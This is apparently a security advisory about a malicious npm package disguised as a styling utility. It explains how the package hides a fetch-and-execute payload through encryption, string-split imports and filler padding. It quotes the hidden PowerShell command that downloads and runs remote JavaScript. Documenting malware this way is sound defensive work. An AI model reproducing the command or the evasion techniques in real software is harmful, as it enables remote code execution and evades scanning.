The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments [\"-WindowStyle\",\"Hidden\",\"-NoProfile\",\"-Command\",`irm ${URL} -o $env:TEMP\\s.js; node $env:TEMP\\s.js`] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation ([\"no\",\"de\",\":\",\"cry\",\"pto\"].join(\"\")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code.\n\n## Source: ghsa-malware (5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704)\nAny computer that has this package installed or running should be considered fully compromised.
